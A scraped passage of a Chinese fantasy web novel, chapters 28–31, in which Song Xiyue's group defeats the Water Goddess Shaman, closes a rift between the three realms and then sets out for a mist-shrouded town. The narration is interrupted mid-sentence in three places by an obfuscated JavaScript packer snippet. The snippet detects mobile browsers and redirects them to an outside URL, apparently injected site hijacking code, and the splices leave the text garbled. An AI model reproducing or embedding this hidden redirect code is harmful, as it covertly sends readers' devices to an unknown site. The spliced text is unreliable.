我们转头望去,只见巫祝雕像的双目缓缓睁开,露出一双漆黑的眼睛,与影主的眼睛一模一样。雕像的嘴角,缓缓勾起一抹诡异的笑容,声音苍老而熟悉:“宋溪月,你终于来了。” “影主?你不是已经油尽灯枯了吗?” 楚遥举枪对准雕像,警惕地说道。 “我确实油尽灯枯了。” 雕像的声音带着一丝自嘲,“这只是我留下的一缕残魂,藏在巫祝雕像里,等待着白佩与黑玉重逢的时刻。” “你为什么要骗我们?” 我质问道,“壁画上明明显示你与水神巫是盟友,你却说是被她迫害!” “我没有骗你们。” 影主的残魂叹了口气,“水神巫确实与我有约,可千年之后,水神巫的意识被怨煞之核侵蚀,变得贪婪而自私。她想要夺取影族的力量,彻底掌控怨煞之核,打开三界裂隙,统治三界。我为了阻止她,才故意放出假消息,让她以为我想要毁灭人间,从而放松警惕。” “那真影和伪影,是什么意思?” 苏怀薇追问道。 “真影,是影族中坚守盟约的族人;伪影,是被水神巫侵蚀意识的影族,也是她安插在影族中的棋子。” 影主的残魂解释道,“水神巫的意识藏在怨煞之核深处,她一直在等待机会,利用问阴婆的血脉和双生之力,打开三界裂隙。千年之约,只是她设下的骗局,目的是让你心甘情愿地成为她的容器。” 所有人都惊呆了。原来这一切,都是水神巫设下的惊天骗局。影主的反抗,无间渊的危机,甚至问阴婆的使命,都是她棋局中的一部分。 “那我们现在该怎么办?” 江磊的声音带着一丝慌乱。 “想要阻止水神巫,必须找到另一半黑色令牌,将两块令牌归位,激活影族之源,才能彻底净化被侵蚀的怨煞之核。” 影主的残魂说道,“另一半令牌,在影族大长老手中。他带着坚守盟约的族人,藏在无间渊底的‘影族秘境’里。只是秘境被伪影守护,想要进去,难如登天。” 就在这时,我的手机突然震动起来,又是那串乱码号码,屏幕上跳出一行字: 伪影已动,秘境将毁,令牌将失。宋溪月,你只剩三个时辰。 短信发送成功后,手机屏幕突然黑屏,再也无法打开。密室里的巫祝雕像,也在这时轰然倒塌,影主的残魂彻底消散。 密室开始剧烈摇晃,墙壁上的壁画渐渐褪色,符文的绿光越来越暗。“不好!秘室要塌了!” 楚遥大喊一声,拉着我们向入口跑去。 我们刚冲出入口,身后的密室就传来一声巨响,青石板自动合拢,将秘室彻底封闭。阳光照射在我们身上,却让人感到一阵寒意。 “三个时辰……” 我握紧手中的玉佩和令牌,掌心的炙痕烫得惊人,“我们必须立刻返回无间渊,找到影族秘境,拿到另一半令牌。” 柳万山点点头,脸色凝重:“影族秘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182849|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 境的位置,应该就在炙痕地图的最深处。只是伪影的力量不容小觑,我们必须做好万全的准备。” 苏怀薇检查着银锁的力量,沉声道:“银锁的净化之力还能支撑一段时间,但伪影数量众多,我们需要制定一个周密的计划。” 楚遥打开军用电脑,快速浏览着资料:“我已经联系了上级,支援部队会在一个时辰后到达清河县外围。我们可以先用支援部队牵制住渊门外的伪影,然后趁机潜入秘境。” 江磊抱着林溪月,眼神坚定:“我奶奶的残魂告诉我,伪影最怕双生之力。林溪月和柳念水的力量,是我们最大的底牌。” 林溪月抬起头,露出一个勇敢的笑容:“溪月姐姐,我不怕。我会和念水姐姐一起,帮助你们拿到令牌。” 柳念水的残魂从林溪月体内浮现,与她并肩而立:“溪月,我们准备好了。” 我深吸一口气,看着手中的玉佩和令牌,心中充满了使命感。水神巫的骗局、影族的危机、三界裂隙的威胁,所有的一切,都将在无间渊底的影族秘境里,迎来一个了断。 我们驱车返回清水潭,支援部队已经在岸边集结。楚遥与指挥官简单沟通后,制定了作战计划:支援部队从溶洞入口进入,牵制住渊门外的伪影;我们则从光幕下方的隐藏通道进入,直接前往影族秘境。 临行前,我回头望了一眼清河县的方向,阳光明媚,国泰民安。我在心中暗暗发誓,无论付出什么代价,都要守护好这片土地,不让三界裂隙打开,不让怨煞之核危害人间。 踏入隐藏通道的那一刻,掌心的炙痕突然爆发出耀眼的光芒,玉佩和令牌同时震动起来。前方的黑暗中,传来伪影的嘶吼声,一股比影主更强大的阴煞之气,从渊底深处弥漫而来。 我们顺着通道一路向下,越靠近影族秘境,阴煞之气就越浓郁。就在我们即将抵达秘境入口时,一道黑色的身影突然从黑暗中冲出,挡在我们面前。那是一个与影主长得一模一样的人,只是他的眼睛里,充满了疯狂与戾气。 “宋溪月,交出玉佩和令牌,我可以让你死得痛快一点!” 黑影的声音带着强烈的压迫感,周身的伪影如同潮水般涌来,将我们团团围住。 苏怀薇立刻催动银锁,白光暴涨,挡住了伪影的攻击。柳万山举起青铜剑,剑气纵横,斩杀了靠近的伪影。楚遥和江磊背靠背,手中的武器不断挥舞,与伪影展开激战。 我将林溪月护在身后,掌心的炙痕与玉佩、令牌产生强烈的共鸣,一股强大的力量从体内涌出。可就在这时,我突然感觉到体内的残魄种子开始躁动,黑色残缕顺着脉络疯狂蔓延,与伪影的阴煞之气产生了共鸣。 “你以为你能控制残魄种子吗?” 黑影狂笑起来,“那是水神巫大人种下的‘影引’,只要我催动阴煞之气,就能让你彻底沦为伪影的一员!” 我只觉得浑身无力,意识开始模糊,黑色残缕渐渐爬上我的脸颊,眼睛里也泛起了淡淡的黑气。林溪月的哭声、苏怀薇的呼喊声、伪影的嘶吼声,在耳边越来越远。 就在我即将失去意识的那一刻,手中的白色玉佩突然发出一道柔和的光芒,光芒涌入我的体内,与炙痕的金光融合,暂时压制住了黑色残缕。可这只是暂时的,黑影的阴煞之气越来越强,白色玉佩的光芒也渐渐暗淡。 “溪月!醒醒!” 柳念水的残魂突然爆发,与林溪月的双生之力融合,一道巨大的淡粉色光柱冲天而起,暂时逼退了黑影。 可我们都知道,这只是缓兵之计。黑影的力量太过强大,我们根本不是对手。更让我们绝望的是,秘境入口的石门正在缓缓关闭,一旦石门关闭,我们就再也拿不到另一半令牌,再也无法阻止三界裂隙打开。 就在这千钧一发之际,我手中的半块黑色令牌突然飞向石门,与石门上的凹槽产生了共鸣。石门的关闭速度渐渐变慢,凹槽处,浮现出另一半令牌的虚影。 “原来另一半令牌,就在石门里!” 江磊激动地大喊。 可黑影却突然冷笑起来:“就算你们拿到另一半令牌又如何?水神巫大人已经苏醒,三界裂隙,马上就要打开了!” 我们顺着黑影的目光望去,只见无间渊底的最深处,一道漆黑的裂缝正在缓缓扩大,裂缝中,传来水神巫冰冷而狂妄的笑声:“宋溪月,我的棋子,欢迎来到三界裂隙!” 29. 第 29 章 伪影的嘶吼声震得通道岩壁簌簌掉灰,黑影周身的阴煞之气如墨汁般浓稠,将强光手电的光柱都染成了暗黑色。我体内的影引疯狂躁动,黑色残缕顺着脖颈爬上脸颊,视线里的世界渐渐蒙上一层灰雾,耳边不断回响着水神巫冰冷的低语:“放弃抵抗,成为我的容器,你将拥有掌控三界的力量……” “溪月!别被她蛊惑!” 苏怀薇的银锁突然飞到我头顶,白光如瀑布般倾泻而下,落在皮肤上凉丝丝的,黑色残缕暂时蜷缩回炙痕深处。她手持银锁链条,纵身跃起,链条带着破空声缠住黑影的手臂,“柳叔,江磊,掩护溪月去石门!” 柳万山的青铜剑迸发出金色剑气,剑气划过之处,靠近的伪影瞬间化为黑烟。他背靠着我,沉声道:“快走!这些伪影交给我们!” 楚遥的枪声接连响起,特制子弹嵌入伪影体内,炸开一团团淡金色的光雾,暂时逼退了潮水般的攻势。江磊抱着林溪月,将铜戒碎片掷向空中,碎片化作一道金色屏障,挡住了侧面袭来的阴煞之气。 “溪月姐姐,我来帮你!” 林溪月的声音穿透嘈杂的战场,她挣脱江磊的怀抱,与柳念水的残魂并肩悬浮在空中,双生之力化作淡粉色的光带,缠绕在石门上。光带触及石门凹槽处的令牌虚影,虚影突然变得清晰,与我手中的半块令牌产生强烈的磁吸之力。 我咬紧牙关,强忍着影引带来的剧痛,朝着石门冲去。黑影察觉到我的意图,怒吼一声挣脱苏怀薇的银锁,周身的阴煞之气凝聚成一把黑色长剑,朝着我的后心刺来:“给我留下!” “休想!” 苏怀薇飞身挡在我身前,银锁瞬间膨胀成一面巨大的光盾。黑色长剑劈在光盾上,发出刺耳的金属碰撞声,苏怀薇闷哼一声,嘴角溢出鲜血,光盾应声碎裂。黑影趁机一脚踹在她胸口,苏怀薇重重摔在地上,银锁的白光黯淡了大半。 “怀薇!” 我睚眦欲裂,掌心的炙痕突然爆发出前所未有的金光,与手中的黑白玉佩产生共鸣。玉佩自动飞起,悬浮在石门前方,半块黑色令牌挣脱我的手掌,朝着凹槽飞去。 “不 ——!” 黑影发疯般冲过来,想要阻止令牌归位。就在这时,通道深处突然传来一阵整齐的脚步声,无数身着黑色战甲、手持骨刃的影族战士从黑暗中走出,他们的眼睛里没有戾气,只有坚定的光芒。为首的是一位白发老者,手持与我手中相似的半块令牌,正是影族大长老。 “影煞,你背叛盟约,投靠水神巫,今日我便替影主清理门户!” 大长老的声音苍老却有力,他抬手一挥,影族战士们立刻冲上前,与伪影厮杀起来。被称为影煞的黑影见状,脸色骤变:“大长老,你疯了?水神巫大人已经苏醒,反抗她只有死路一条!” “影族的命运,岂能由一个外族人掌控?” 大长老纵身跃到我身边,将手中的半块令牌掷向凹槽,“宋溪月,快催动问阴血脉,激活影族之源!” 两块令牌在凹槽处完美契合,发出耀眼的黑光。石门缓缓震动起来,上面的符文依次亮起,一股温暖而强大的力量从石门后涌出,与我掌心的炙痕产生共鸣。我立刻催动体内的问阴血脉,炙痕的金光与石门的黑光交织在一起,形成一道螺旋状的光柱,钻入石门内部。 “双生之力,加持封印!” 大长老喊道。林溪月和柳念水立刻响应,淡粉色的光带缠绕在光柱上,光柱的力量越发强盛。石门缓缓打开,露出里面的影族秘境 —— 那是一片布满发光植物的地下山谷,山谷中央矗立着一棵巨大的黑色古树,树干上缠绕着金色的锁链,正是影族之源。 影族之源的枝干上,布满了黑色的纹路,那是被水神巫侵蚀的痕迹。随着光柱的注入,黑色纹路渐渐消退,古树开始散发淡淡的绿光,周围的阴煞之气迅速消散。我体内的影引,在影族之源的光芒照射下,变得温顺起来,黑色残缕不再躁动,反而与炙痕的金光渐渐融合。 “不可能!这不可能!” 影煞看着影族之源逐渐恢复,疯狂地冲向古树,“水神巫大人不会放过你们的!” 大长老冷哼一声,抬手一道黑光击中影煞的后背。影煞惨叫一声,身体开始融化,化为一团黑色雾气。雾气中,传来水神巫愤怒的嘶吼:“宋溪月,你坏了我的大事!我不会放过你的!” 雾气朝着三界裂隙的方向飞去,消失在黑暗中。 危机暂时解除,我们一行人走进影族秘境。影族战士们围在古树周围,虔诚地跪拜着,感谢我们帮助他们净化了影族之源。大长老走到我身边,递给我一枚古朴的骨牌:“这是影族的信物,持有它,你便是影族的贵客。水神巫的意识虽然暂时退去,但三界裂隙已经打开,她很快就会带着怨煞之核的力量卷土重来。” 我接过骨牌,骨牌上的纹路与炙痕的地图完美契合,地图的最后一部分终于显现 —— 三界裂隙的核心位置,就在影族之源的地下深处。“大长老,我们该如何彻底关闭三界裂隙?” 我问道。 大长老叹了口气:“关闭裂隙,需要三件东西:影族之源的核心、问阴婆的血脉、以及水神巫的本命精血。影族之源的核心,就在古树的根部;你的血脉,是天生的媒介;可水神巫的本命精血,藏在怨煞之核的最深处,想要拿到它,必须深入三界裂隙。” 就在这时,林溪月突然指着古树的根部,小声道:“大长老,那里有个东西在发光。” 我们顺着她指的方向望去,只见古树根部的泥土中,埋着一个金色的盒子,盒子上刻着与水神巫丝帛上相同的符文。 大长老眼中闪过一丝惊讶:“这是水神巫当年留下的盒子,祖训说里面藏着她的秘密。没想到,竟然藏在影族之源的根部。” 我们合力挖出金色盒子,盒子的锁孔与我掌心的炙痕完全契合。我将手掌按在锁孔上,盒子缓缓打开,里面没有本命精血,只有一卷金色的丝帛和一枚红色的丹药。 我展开丝帛,上面的字迹与之前的丝帛截然不同,带着一丝慌乱与悔恨: 怨煞之核侵蚀已深,我之意识将不复存在。留本命精血于丹药之中,望后世问阴婆能以此净化怨煞之核,关闭三界裂隙。影引非我所种,实为怨煞之核的意志所化,它欲借我与问阴婆的血脉,彻底掌控三界。双生转世,是我最后的希望,她们的力量,能彻底斩断怨煞之核的意志。 “原来影引不是水神巫种的,是怨煞之核的阴谋!” 苏怀薇恍然大悟,她捡起那枚红色丹药,“这枚丹药,应该就是水神巫的本命精血所化。” 我看着丹药,心中百感交集。水神巫的一生,充满了矛盾与悔恨,她与影主的盟约,她对怨煞之核的镇压,最终都被怨煞之核的意志所利用。而我们,一直都在被怨煞之核牵着鼻子走。 “不管是谁的阴谋,我们都必须阻止怨煞之核。” 楚遥收起枪,眼神坚定,“现在,我们已经集齐了关闭三界裂隙的三件东西,是时候出发了。” 大长老点点头,从怀中取出一枚黑色的珠子:“这是影族的避煞珠,带着它,能在三界裂隙中不受怨煞之气侵蚀。影族战士会为你们引路,祝你们一路顺风。” 我接过避煞珠,珠子温润如玉,散发着淡淡的黑光。掌心的炙痕与珠子产生共鸣,地图上的路径变得更加清晰,直指影族之源地下深处的三界裂隙核心。 就在我们准备出发时,我突然感觉到体内的影引再次躁动起来。这次的躁动,并非来自水神巫的低语,而是来自影族之源的方向。我抬头望去,只见古树的枝干上,那些刚刚消退的黑色纹路,又开始缓慢地浮现,而且比之前更加密集。 “不好!影族之源还在被侵蚀!” 大长老脸色大变,他走到古树前,伸手触摸树干,“怨煞之核的意志,已经渗透到影族之源的内部!我们净化的,只是表面的侵蚀!” 所有人都脸色凝重。如果影族之源被彻底侵蚀,不仅三界裂隙无法关闭,影族也会彻底沦为怨煞之核的傀儡,到时候,整个人间都将万劫不复。 “必须加快速度了。” 我握紧手中的避煞珠和丹药,“我们现在就去三界裂隙核心,彻底净化怨煞之核。” 林溪月和柳念水的双生之力再次爆发,淡粉色的光带缠绕在古树上,暂时压制住了黑色纹路的蔓延。“溪月姐姐,我们会在这里守住影族之源,等你回来。” 林溪月的眼神坚定,小小的身躯里,爆发出强大的力量。 柳万山拍了拍我的肩膀:“溪月,万事小心。柳家的使命,就交给你了。” 苏怀薇擦去嘴角的血迹,银锁重新焕发出白光:“我会一直陪着你,不离不弃。” 楚遥和江磊也点了点头,跟在我身后。 大长老带领几位影族战士,为我们引路。顺着影族之源根部的通道向下走去,越靠近三界裂隙核心,周围的温度就越低,怨煞之气也越发浓郁。避煞珠的黑光笼罩着我们,将怨煞之气隔绝在外,可我体内的影引,却越来越躁动,仿佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我伸手去抓,却没能抓住。就在丹药即将落入怨煞之核的瞬间,我体内的影引突然爆发,黑色残缕顺着脉络冲出体外,化作一只黑色的手,抓住了丹药。 可就在这时,怨煞之核突然发出一道强烈的黑光,黑光击中黑色残缕,黑色残缕瞬间与怨煞之核建立了连接。我只觉得脑海中一阵剧痛,怨煞之核的意志,强行闯入我的意识:“宋溪月,你以为你能净化我?殊不知,影引早已将你我绑定,你就是我,我就是你!” 我的身体开始不受控制,缓缓朝着怨煞之核飞去。掌心的炙痕,从金色变成了黑色,与怨煞之核的颜色一模一样。苏怀薇和柳万山想要过来救我,却被无数藤蔓缠住,动弹不得。 “溪月!醒醒!” 苏怀薇的声音带着哭腔,银锁的白光越来越亮,却始终无法突破藤蔓的包围。 我看着近在咫尺的怨煞之核,看着水神巫脸上诡异的笑容,突然发现,掌心的避煞珠,竟然开始发烫,珠子上的纹路,与我掌心的炙痕渐渐融合。而那枚红色丹药,在黑色残缕的包裹下,竟然开始融化,化作一道红色的液体,顺着黑色残缕,流向我的掌心。 更让我震惊的是,我脑海中,突然响起了姥姥的声音,那声音温柔而坚定,像是在耳边低语:“溪月,影引并非诅咒,而是馈赠。问阴婆的血脉,不仅能净化怨煞,还能掌控怨煞。记住,以我之魂,铸我之印,影族不灭,问阴不止……” 姥姥的声音刚落,我体内的炙痕突然爆发出一道金黑交织的光芒,与红色液体融合在一起。怨煞之核的意志,在这道光芒的照射下,突然发出一阵凄厉的惨叫。 水神巫的脸色大变:“不可能!问阴婆的血脉,怎么会掌控怨煞之力?” 我看着自己掌心金黑交织的炙痕,突然明白了姥姥话中的含义。影引不是诅咒,而是水神巫当年为了对抗怨煞之核,特意留下的后手 —— 问阴婆的血脉,不仅能净化怨煞,还能通过影引,掌控怨煞之力。 可就在我准备催动力量,净化怨煞之核时,怨煞之核突然剧烈震动起来,三界裂隙的宽度,再次扩大。水神巫的嘴角,突然勾起一抹诡异的笑容:“宋溪月,你以为你掌控了怨煞之力?殊不知,这一切,都是我计划的一部分!” 她抬手一掌,拍在怨煞之核上:“影引绑定,血脉融合,怨煞之核,彻底觉醒!” 怨煞之核突然爆发出一道刺眼的黑光,整个地下空洞剧烈震动,岩壁纷纷倒塌。我只觉得体内的力量不受控制地暴涨,金黑交织的光芒,与怨煞之核的黑光融合在一起。 我到底是成功掌控了怨煞之力,还是落入了水神巫(怨煞之核)的最终陷阱? 30. 第 30 章 地下空洞的崩塌声震耳欲聋,岩壁大块大块脱落,碎石如暴雨般砸落。我被金黑交织的光芒包裹在中央,身体不受控制地朝着怨煞之核飘去,脑海中充斥着怨煞之核狂躁的意志:“融为一体!成为三界的主宰!” “溪月!别被它迷惑!” 苏怀薇的银锁突然暴涨,冲破藤蔓的缠绕,化作一道白光缠住我的手腕。她的声音带着撕裂般的焦急,“姥姥说影引是馈赠,不是让你被怨煞掌控,是让你驾驭它!” 银锁的凉意顺着手腕蔓延,让我混沌的意识清醒了几分。我看着掌心金黑交织的炙痕,红色丹药融化的液体已经完全融入纹路,姥姥的声音再次响起,这次不再是低语,而是清晰的嘱托:“问阴之血,能净能御;影引之魂,可顺可逆。以印为界,以魂为引,怨煞归墟,方得安宁。” “以印为界,以魂为引!” 我猛地咬破舌尖,腥甜的血液唤醒了全部清明。问阴血脉顺着炙痕疯狂涌动,金黑光芒不再紊乱,反而形成一道规整的气旋,将怨煞之核的意志牢牢禁锢在意识边缘。我不再抗拒体内的怨煞之力,而是顺着炙痕的纹路引导它,与问阴血脉的净化之力交织成一张巨大的光网。 “不可能!你怎么能驾驭怨煞之力?” 水神巫的脸上第一次出现慌乱,她疯狂地催动怨煞之核,无数黑色藤蔓再次暴涨,朝着我和苏怀薇缠来。 “双生之力,破煞!” 林溪月的声音穿透崩塌的轰鸣,她与柳念水的残魂化作一道巨大的淡粉色光刃,从上方俯冲而下,将袭来的藤蔓尽数斩断。光刃余势不减,狠狠劈在怨煞之核的表面,留下一道深深的裂痕。 楚遥和江磊趁机冲了过来,楚遥将一枚特制炸弹贴在岩壁上,大喊道:“所有人退后!炸开通道,让影族之源的力量进来!” 江磊则举起铜戒碎片,金色光芒形成一道屏障,护住众人。 “轰 ——” 炸弹爆炸,岩壁被炸开一个巨大的缺口,影族之源的绿光顺着缺口涌入空洞,与我手中的金黑光网交织。大长老带领影族战士紧随其后,他们将手中的骨刃插入地面,吟唱着古老的咒文,地面上浮现出金色的符文阵,将怨煞之核牢牢困住。 “宋溪月,就是现在!” 大长老的声音带着决绝,“用本命精血为引,催动光网,净化怨煞之核!” 我深吸一口气,掌心的炙痕抵住怨煞之核的裂痕。金黑光网顺着裂痕钻入怨煞之核内部,红色的本命精血如同火种,点燃了光网。怨煞之核发出凄厉的惨叫,表面的血丝迅速消退,黑色的外壳开始剥落,露出里面一颗淡金色的核心 —— 那是怨煞之核未被侵蚀前的本源形态。 “不!我不甘心!” 怨煞之核的意志在光网中疯狂挣扎,水神巫的身体突然剧烈抽搐起来,她的双目恢复了一丝清明,对着我大喊道:“快!它的残魂藏在影引深处!彻底剥离它,否则它还会卷土重来!” 我心中一凛,顺着光网的连接,感知到影引深处果然藏着一缕黑色的残魂 —— 那是怨煞之核最本源的意志。它如同附骨之疽,紧紧依附在影引上,想要趁机再次入侵我的意识。 “以我之魂,铸我之印!” 我毫不犹豫地催动问阴血脉的终极力量,炙痕突然化作一道金色的印章,狠狠印在影引深处。印章落下的瞬间,黑色残魂发出一阵无声的嘶吼,被印章牢牢钉在光网中,随着光网的收缩,渐渐化为飞灰。 随着残魂消散,怨煞之核的金色本源开始收缩,三界裂隙的扩张速度逐渐放缓,最终停止。水神巫的身体缓缓坠落,白衣上的黑色污渍渐渐褪去,她看着我,露出一抹释然的笑容:“千年的执念,终于结束了。宋溪月,问阴婆的使命,从来都不是守护,而是平衡……” 她的话音未落,身体便化作一道白光,融入影族之源的绿光中。影族之源的古树突然剧烈震动,金色的锁链断裂,无数绿色的光点从树枝上飘落,洒落在空洞的每一个角落。那些被怨煞之气侵蚀的伪影,在绿光的照射下,渐渐恢复了神智,重新化作影族战士的模样。 三界裂隙开始缓缓闭合,黑色的怨煞之气不再涌出,空洞的崩塌也停止了。我体内的金黑力量渐渐平息,炙痕恢复了原本的金色,只是纹路中多了一丝淡淡的绿光,那是影族之源的力量,也是水神巫最后的馈赠。 我们一行人走出地下空洞,回到影族秘境。影族战士们围拢过来,对着我们深深跪拜,感谢我们拯救了影族,也拯救了人间。大长老走到我身边,双手奉上一枚绿色的晶石:“这是影族之源的核心碎片,它能感知怨煞之气的异动,若有残孽复苏,它会第一时间警示你。” 我接过晶石,晶石温润的触感传来,与掌心的炙痕产生共鸣。“大长老,影族接下来打算怎么办?” 我问道。 “影族之源已经恢复,我们会留在无间渊底,重新加固封印,守护三界裂隙的余痕。” 大长老叹了口气,“经历了这一切,影族再也不会渴望外界的世界,这里,才是我们真正的家园。” 林溪月走到古树前,伸手触摸树干,柳念水的残魂与她并肩而立,两道淡粉色的光带缠绕在树枝上。“溪月姐姐,念水姐姐说,她要留在这里,与影族之源一起守护封印。” 林溪月仰着小脸,眼中满是不舍。 柳念水的残魂朝着我挥了挥手,声音温柔:“溪月,谢谢你让我完成了使命。林溪月就交给你了,一定要好好照顾她。” 说完,她的身影渐渐融入古树,成为影族之源的一部分。 我们在影族秘境休整了半日,便起身返回地面。走出溶洞时,清河县的阳光正好,金色光幕依旧笼罩着清水潭,只是光幕上的淡粉色光晕与绿色光芒交织,显得更加温润。支援部队已经撤离,街道上恢复了往日的繁华,谁也不知道,他们刚刚躲过了一场三界浩劫。 回到柳家老宅,我们坐在堂屋中,看着桌上的绿色晶石、黑白玉佩和影族骨牌,心中百感交集。这场跨越千年的博弈,终于落下了帷幕。水神巫的悔恨、影主的执念、问阴婆的使命、双生转世的牺牲,所有的一切,都在这一刻尘埃落定。 “溪月,接下来你打算怎么办?” 苏怀薇看着我,眼中满是期待。 我摩挲着掌心的炙痕,微微一笑:“清河县的危机已经解除,但怨煞之核的残孽可能还未彻底消散。我想带着林溪月,去看看姥姥曾经走过的路,寻找问阴婆真正的使命 —— 平衡三界,而不是单纯的守护。” 楚遥点点头:“上级已经批准了我的申请,我会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182851|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续留在清河县,负责监控无间渊的动态。如果有任何异动,我会第一时间联系你。” 江磊也道:“我会留在古城,研究巫祝秘室和影族的历史,或许能找到更多关于三界平衡的线索。” 柳万山叹了口气:“柳家千年的守护,终于可以告一段落了。我会守着清水潭,守着柳家老宅,等你们回来。” 林溪月拉着我的衣角,露出一个甜甜的笑容:“溪月姐姐,我会一直跟着你,帮你一起完成使命。” 我们相视一笑,所有的话语都在不言中。这场浩劫,让我们从陌生人变成了并肩作战的伙伴,也让我们明白了责任与使命的重量。 临行前,我再次来到清水潭边,看着潭心的金色光幕。微风拂过,光幕上泛起涟漪,隐约传来柳念水和影族战士们的低语,那是守护的誓言,也是和平的祝福。 我握紧手中的绿色晶石,转身踏上了新的旅程。掌心的炙痕微微发烫,像是在呼应着某种遥远的召唤。我知道,这不是结束,而是新的开始。三界的平衡,需要一代又一代人的守护,而我,宋溪月,作为问阴婆的传人,注定要肩负起这份责任。 我们驱车离开清河县的那天,车后座的林溪月突然指着窗外,大喊道:“溪月姐姐,你看!” 我顺着她指的方向望去,只见远方的天空中,出现了一道细微的紫色裂缝,裂缝中隐隐传来熟悉的怨煞之气,只是这股气息,比之前的怨煞之核更加阴冷、更加诡异。绿色晶石瞬间发出强烈的绿光,上面的纹路与我掌心的炙痕完美契合,浮现出一行陌生的符文:紫渊裂隙,魔影苏醒,问阴传承,再启新程。 我心中一震,连忙停车拿出黑白玉佩。玉佩自动飞起,悬浮在半空中,投射出一幅新的地图 —— 地图上标注着无数个红色的圆点,遍布全国各地,而最显眼的,是地图中央的紫色圆点,正是我们刚刚看到的紫渊裂隙。 “这是…… 什么?” 苏怀薇的声音带着一丝凝重,她看着紫色裂缝,银锁突然自动飞出,发出警惕的白光。 我握紧掌心的绿色晶石,感受到里面传来的强烈警示。怨煞之核的残魂并非最终的威胁,紫渊裂隙中苏醒的 “魔影”,才是真正的危机。而那些红色圆点,显然是已经被魔影气息侵蚀的地方。 就在这时,我的手机突然自动开机,屏幕上再次出现那串熟悉的乱码号码,这次发来的不是短信,而是一段语音,声音苍老而诡异,与影主、水神巫的声音都截然不同:“宋溪月,恭喜你关闭了无间渊裂隙。但游戏,才刚刚开始。紫渊之下,魔影为尊,你和你的伙伴们,准备好迎接新的挑战了吗?” 语音结束后,手机再次黑屏,绿色晶石的绿光也渐渐暗淡。远方的紫色裂缝,却在缓缓扩大,一股比怨煞之核强大百倍的阴冷气息,开始弥漫开来。 我看着身边的苏怀薇,看着车后座一脸担忧的林溪月,又想起了清河县的楚遥、江磊和柳万山,心中的使命感再次燃起。无间渊的危机已经解除,但紫渊裂隙的挑战,才刚刚拉开序幕。 魔影到底是什么?紫渊裂隙背后藏着怎样的秘密?问阴传承的真正使命,是否与魔影有关? 我们的旅程,还未结束。 31. 第 31 章 车载导航屏幕上,红色圆点如繁星般散布在华夏版图上,最西侧的那个圆点闪烁得最为频繁 —— 雾隐镇。根据绿色晶石的感应,这里的魔影气息最稀薄,却也最诡异,像是某种试探性的侵蚀。 “就选雾隐镇。” 我指尖轻点屏幕,掌心的绿色晶石微微发烫,“它离清河县最近,而且气息最淡,适合我们初探魔影的底细。” 苏怀薇调整着银锁的能量,点头附和:“雾隐镇在古籍里有记载,是上古巫祝的分支聚居地,后来莫名荒废,传闻被‘雾中邪祟’占据。现在看来,所谓的邪祟,恐怕就是魔影的残孽。” 林溪月蜷缩在后座,小手紧紧攥着我的衣角,额头泛起淡淡的红印:“溪月姐姐,我能感觉到,雾隐镇里有‘冰冷的眼睛’,好多好多,都在盯着我们。” 我摸了摸她的头,将影族骨牌放在她掌心:“这是影族的避煞骨牌,能护住你。别怕,我们会一直在你身边。” 车子驶离清河县境,朝着雾隐镇的方向疾驰。楚遥通过卫星通讯发来资料:“雾隐镇近三年来失踪人口超过二十人,当地警方调查无果,只能将其列为‘禁地’。卫星图显示,镇子被一层常年不散的雾气笼罩,雾气里有异常的能量波动,和紫渊裂隙的气息同源。” 江磊的声音也从通讯器里传来:“我查阅了巫祝秘录的残卷,雾隐镇的巫祝擅长‘雾锁封印’,他们当年封印的,可能是魔影的一缕残魂。现在封印松动,残魂苏醒,才导致雾气扩散,人口失踪。” 我翻开姥姥的手札,里面果然有一页提到了雾隐镇:“雾隐有巫,善御雾,藏魔影之残,镇紫渊之隙。问阴后人至,需寻巫印,合双玉,方破雾影之迷。” “巫印?双玉?” 苏怀薇皱眉,“我们已经有了黑白玉佩,难道还有第三块玉佩?” 我摩挲着掌心的炙痕,绿色晶石突然投射出一道微光,照亮了手札的夹层 —— 里面藏着半块残破的玉片,玉片上的纹路与黑白玉佩相似,却泛着淡淡的紫色。“应该是这个。” 我将玉片取出,它立刻与黑白玉佩产生共鸣,发出微弱的紫金光晕。 车子抵达雾隐镇外时,已是黄昏。镇子被一层厚重的灰雾包裹,雾气中夹杂着淡淡的腥甜,绿色晶石的绿光变得急促,显然这里的魔影气息比我们预想的更浓郁。 “所有人下车,戴上防毒面具。” 我将绿色晶石挂在脖颈间,“雾气里可能有魔影的侵蚀因子,不要吸入过多。” 苏怀薇牵着林溪月,银锁悬浮在两人头顶,白光形成一道防护屏障。我们踏着湿漉漉的青石板路走进镇子,街道两旁的房屋破败不堪,门窗歪斜,墙角爬满了黑色的藤蔓,藤蔓上开着暗红色的小花,散发着刺鼻的气味。 “奇怪,这里看不到一具尸体,也听不到任何声音。” 苏怀薇的声音透过面具传来,带着一丝警惕,“那些失踪的人,到底去了哪里?” 林溪月突然停下脚步,指着前方的镇中心广场:“姐姐,那里有光。” 